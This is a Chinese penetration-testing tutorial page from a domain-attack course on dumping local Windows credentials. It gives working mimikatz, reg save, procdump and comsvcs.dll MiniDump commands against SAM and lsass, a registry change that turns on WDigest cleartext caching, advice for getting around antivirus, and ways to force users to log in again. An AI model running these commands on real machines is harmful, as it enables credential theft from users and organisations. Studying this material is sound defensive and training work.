域渗透
01-本地认证
02-本地密码抓取
03-网络认证
04-域基础知识
05-域环境部署
06-域认证
07-域密码抓取
08-横向移动
09-凭证传递
10-票据
11-委派
-
+
02-本地密码抓取
浏览
1
# 一、概述 本地工作组密码抓取,是指在 Windows 工作组环境(即非域环境、无域控制器)中,通过技术手段从目标计算机上提取已登录用户或本地存储的明文密码、NTLM 哈希值等身份凭据的过程。  # 二、SAM文件 SAM 全称 Security Account Manager,存储本地用户账户和对应哈希。 ## mimikatz mimikatz工具是由法国安全研究员 Benjamin Delpy 开发,最初仅用于个人安全测试,但因其能直接读取 Windows 内存中的明文密码和哈希而闻名。 常用模块: | 模块 | 功能 | 域渗透中的典型用途 | | :-------- | :-------------------- | :------------------------------------------- | | sekurlsa | 从 LSASS 内存读取凭据 | 提取明文密码、NTLM 哈希、Kerberos 票据和密钥 | | kerberos | 票据操作 | 伪造黄金票据/白银票据、导入/导出/清除票据 | | lsadump | LSA 机密转储 | DCSync 攻击、读取 SAM 数据库、读取缓存凭据 | | privilege | 权限提升 | 启用 SeDebugPrivilege,这是读取 LSASS 的前提 | | token | 令牌操作 | 窃取/模拟其他进程的令牌,实现权限提升 | 运行条件:Mimikatz 的许多功能需要本地管理员权限或 SYSTEM 权限,因为它需要打开 LSASS 进程的句柄并读取其内存。  首先需要进入特权模式: ```bash privilege::debug sekurlsa::logonpasswords #抓取内存中的所有密码 ```  读取SAM文件中的hash值: ```bash privilege::debug #启用当前进程的 SeDebugPrivilege 特权 token::elevate #将当前线程的令牌替换为一个更高权限的令牌,通常是 NT AUTHORITY\SYSTEM lsadump::sam #从 SAM 数据库 中读取本地账户的密码哈希。 ```  合并为一条命令: ```bash mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit ``` ## reg命令 将本地 SAM 和 SYSTEM 注册表 hive 保存成文件,再拿到攻击机或离线环境解析出本地账户的 NTLM 哈希。 ```cmd reg save hklm\sam sam.hive reg save hklm\system system.hive ```  单独一个 sam.hive 没用,因为 SAM 里的哈希是用 SYSTEM hive 中的 boot key 加密的。 所以通常要成对导出: ```txt SAM -> 存本地账户和哈希 SYSTEM -> 存解密 SAM 所需的 boot key SECURITY -> 可选,存 LSA Secrets、缓存域凭据 ``` 使用mimikatz读取复制的文件: ```bash lsadump::sam /sam:sam.hive /system:system.hive ```  # 三、Lsass进程 ## mimikatz mimikatz支持各种方式读取机器上的密码。 ```bash privilege::debug sekurlsa::msv #获取HASH (LM,NTLM) sekurlsa::wdigest #通过可逆的方式去内存中读取明文密码 sekurlsa::Kerberos #获取域管理员的明文密码 sekurlsa::tspkg #通过tspkg读取明文密码 sekurlsa::livessp #通过livessp读取明文密码 sekurlsa::ssp #通过ssp读取明文密码 sekurlsa::logonPasswords #通过以上各种方法读取明文密码 ``` 一般情况下,都会直接使用sekurlsa::logonPasswords,读取密码。 ```txt privilege::debug sekurlsa::logonPasswords ```  ## 转储文件 如果mimikatz工具被查杀,那么先将机器上的lsass内存导出,然后在自己的电脑中使用mimikatz工具读取导出的文件。    ## procdump ProcDump 是一个命令行实用工具,其主要用途为管理员或开发人员用于确定峰值原因的峰值期间监视 CPU 峰值和生成故障转储的应用程序,微软的一般不会被杀软杀掉。 ```cmd procdump.exe -accepteula -ma lsass.exe lsass.dmp ```  ## 动态链接库 comsvcs.dll 的全称是 COM+ Services DLL,位于 C:\Windows\System32\ 目录下,是微软 COM+ 服务的基础组件。它的合法功能是支持 COM+ 应用程序的运行时环境。 利用comsvcs.dll的导出函数MiniDump实现dump内存读取。 ```cmd #先查询lsass.exe的进程号: tasklist | findstr lsass.exe #使用powershell导出rundll32: rundll32 C:\Windows\System32\comsvcs.dll, MiniDump 456 C:\Users\Administrator\Desktop\lsass.dmp full ```  ## 读取文件 使用mimikatz工具进行读取: ```bash #合并执行: mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" #单独进行: # 切换数据源,执行这条命令后,Mimikatz 会改为从指定的 minidump 文件(lsass.dmp)中读取数据 sekurlsa::minidump lsass.dmp #从当前已加载的数据源(此时是 lsass.dmp)中,提取登录会话的凭据信息,full参数表示完整输出 sekurlsa::logonPasswords full ```  # 四、修改注册表 ## 概述 Win7、 Win server 2008等这样的机器内存中是存储明文的密码,但是在2012之后的机器(win10、win 8、win11、 2012、2016)或者安装了KB2971997补丁,内存中就不在存储明文密码了,我们就无法通过之前学习的方法抓取到明文的密码。 在Windows 2012系统及以上的系统,默认在内存中禁止保存明文密码。攻击者可以通过修改注册表的方式抓取明文密码,但是需要用户重新登陆后才能成功抓取。 在注册表中开启或者关闭存储明文密码: ```cmd # 开启 reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f # 关闭 reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f ``` 参数概述: | reg | Windows 自带的注册表命令行工具。 | | ------------------------- | ------------------------------------------------------------ | | add | reg 的子命令,表示添加注册表项或值;如果项/值已存在,则修改。 | | SecurityProviders\WDigest | 目标注册表路径,WDigest 是摘要式身份验证相关安全提供程序 | | /v UseLogonCredential | 指定要操作的值名称,名为 UseLogonCredential。 | | /t REG_DWORD | 指定值类型为 REG_DWORD,即 32 位整数。 | | /d 1 | 指定数据为 1。在这里表示启用该功能;0 通常表示禁用。 | | /f | force,强制覆盖,不弹出确认提示。 | ## WDigest WDigest 是 Windows 内置的一个安全支持提供程序(SSPI),全称 Windows Digest Authentication,用于实现 HTTP Digest 认证和 SASL Digest 认证,它本身是一个合法的认证组件。 Digest 认证的机制要求服务器和客户端共享明文密码或可逆加密的密码,才能计算出摘要值。 因此,当用户登录并触发 WDigest 时,Windows 的 LSASS 进程会缓存该用户的明文密码,以便后续进行 Digest 认证。 正常情况下,Windows 只应在内存中保存密码哈希,而不保存明文。但 WDigest 为了实现 Digest 认证,会在 LSASS 内存中保留明文凭据。 攻击者一旦获得对 LSASS 的读取权限(例如本地管理员),就可以使用 Mimikatz 等工具,通过 sekurlsa::wdigest 模块直接从内存中提取明文密码。 ```txt HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest 值名称:UseLogonCredential 类型:DWORD 0 = 禁用(不缓存明文) 1 = 启用(缓存明文) ``` ## 操作 首先查询当前机器中是否存储明文密码: ```cmd reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential ```   值为0或者报错,都是没有开启明文存储。 需要管理员权限,开启存储明文密码: ```cmd reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f ```  只要让用户重新输入密码,就可以得到明文的密码,通过下列三种方式可以实现: - 锁屏,重新登录( rundll32.exe user32.dll,LockWorkStation); - 注销用户(query user 查询用户,logoff id 注销用户); - 重启计算机。 重新输入密码后,使用Mimikatz读取计算机中的存储的明文密码: ```cmd privilege::debug sekurlsa::logonPasswords ``` 
毛林
2026年11月15日 18:30
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~